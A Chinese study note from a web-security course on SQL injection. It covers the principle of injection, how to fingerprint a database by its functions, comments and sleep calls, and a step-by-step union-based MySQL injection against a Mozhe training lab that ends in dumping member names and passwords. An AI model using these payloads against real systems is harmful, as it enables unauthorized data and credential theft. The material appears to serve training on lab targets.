在本系列课程学习中,SQL注入漏洞将是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。
注:左边的比右边的难,学习顺序为从右向左。
操作系统:windows和linux对大小写敏感不同,如果查了操作系统可以避免这个问题。
数据库名:如果不知道数据库名查询的时候会有问题。
数据库用户:判定是否为高权限,如果是高权限则选择的余地更多。
文件读写:文件读写需要路径,所以可以通过文件读写查到路径。
注:数据库5.0以上为高版本,5.0以下为低版本。
1、通过注入点直接获取权限,操作后台数据库,危害数据
2、通过注入点获取部分内容,之后通过其他方法来获取权限,危害网站权限
注:如果SQL语句中不存在变量,则不能操作,也就不会产生漏洞。
(1)可控变量,带入数据库查询,变量未存在过滤或过滤不严谨,即如果过滤比较严谨,则没有注入点。
(2)通过参数传递到原有的SQL语句中,从而实现自定义的查询。即把恶意代码传递到对方网站中。
注:(1)和(2)是一个意思。
(3)例题
①下列可能存在注入的编号选项有哪几个?
www.xiaodi8.com/index.php?id=8
www.xiaodi8.com/?id=10(虽然前面没有index.php,但是网站默认是加上的。)
www.xiaodi8.com/?id=10&x=1(两个参数,哪个能注入用哪个)
www.xiaodi8.com/index.php(post注入)
答案:四个都对,但是以目前的实力来说,只能理解到12或者123,。
②参数x有注入,以下哪个注入正确?
www.xiaodi8.com/news.php?y=1 and 1=1&1=2(and 1=1应该写在x后面)
www.xiaodi8.com/news.php?y=1&x=2 and 1=1
www.xiaodi8.com/news.php?y=1 and 1=1&x=2 and 1=1
www.xiaodi8.com/news.php?xx=1 and 1=1 &xxx=2 and 1=1(前面是xx,后面是xxx,参数名不对)
答案:bc
注:注入点要写在id的后面。
https://blog.csdn.net/weixin_43211186/article/details/103008549
https://www.fujieace.com/penetration-test/sqli-labs-ec.html
注:前半部分用第一个,后半部分用第二个。
数据库a=网站a=数据库用户a
表名
列名
数据
数据库b=网站b=数据库用户b
表名
列名
数据
数据库c=网站c=数据库用户c
表名
列名
数据
作用:普通用户注入点只能操作自己网站的数据,root用户注入点,则可以操作到b网站和c网站。
- 获取数据库对应网站
- 获取表名
- 获取列名
- 获取数据
show databases; 显示数据库名
use 数据库名 使用这个数据库
show tables 显示所有表(表名)
select * fn_member; 所有范围内查询member(*表示查询所有)
select password from fn_member; 在fn_member表里查询password列
asp:SQL Server,Access
.net:SQL Server
php:MySQL,PostgreSQL
java:Oracle,MySQL
Oracle:默认端口1521
SQL Server:默认端口1433
MySQL:默认端口3306
len():SQL Server 、MySQL以及db2返回长度的函数。
length():Oracle和INFORMIX返回长度的函数。
version():MySQL查询版本信息的函数
@@version:MySQL和SQL Server查询版本信息的函数
MySQL两个函数都可以使用
Oracle只可调用substr
SQL Server只可调用substring
/*
是MySQL数据库的注释符
--
是Oracle和SQL Server支持的注释符
;
是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库
#
是MySQL中的注释符,返回错误则说明可能不是MySQL,另外也支持-- 和/**/
http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab'
http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'
http://127.0.0.1/test.php?id=1 and 'a'||'b'='ab'
http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'
http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab'
http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
BENCHMARK(1000000,ENCODE(‘QWE’,‘ASD’))
SLEEP(5)
PG_SLEEP(5)
GENERATE_SERIES(1,1000000)
WAITFOR DELAY ‘0:0:5’
and 1=1 页面正常
and 1=2 页面错误
可能存在注入点
在数据库中存在逻辑运算符(或or、且and、非xor),用and 1=1来判定。如果是1=1表示真且真,其中且就是and,如果是1=2则为真且假,逻辑不成立,所以返回的是错误页面。
在id=1的后面随便输入东西,如果有错误,则说明他带入了数据库查询了,则说明有注入点
注:如果结果是404错误或者直接跳转,则说明网站对输入的东西有检测,则说明这个网站没有漏洞。
http://219.153.49.228:48354/new_list.php?id=1 order by 4
注:order by x是在进行数字试探,到哪里不正确哪里就是临界点。
http://219.153.49.228:48354/new_list.php?id=1%20union%20select%1,2,3,4
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,2,3,4
注:报错数字是随机产生,报错什么数字就用什么数字查,比如报了2和3,则用2和3查。
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,database(),version(),4 (查询数据库名称和数据库版本)
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4 (查询数据库用户和操作系统)
注:@@version_compile_os后面没有括号!!!
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
注解:
union select 查询
table_name 表名
information_schema.tables 记录所有表名信息的表
where 条件
table_schema 数据库名
mozhe_Discuz_StormGroup 需要查询的数据库名
group_concat(table_name) 查询所有表名
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,name,password,4 StormGroup_member
数据库版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名称:database() mozhe_Discuz_StormGroup
数据库用户:user() root@localhost
操作系统:@@version_compile_os Linux
(1)在MySQL5.0以上版本中,MySQL存在一个自带数据库名为information_achema,它是一个存储记录所有数据库名、表名、列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
(2)数据库中符号
.
代表下一级,如xaiodi.user表示xiaodi数据库下的user表名。(3)information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
注:猜解多个数据可以采用limit,x,1变动猜解,x为变量值
1、简易代码分析SQL注入原理
2、Sqlilabs注入靶场搭建简要使用
3、墨者靶机真实MYSQL注入演示
https://github.com/Audi-1/sqli-labs
QQ群文件-忍者安全测试系统-禁用软盘安装
https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe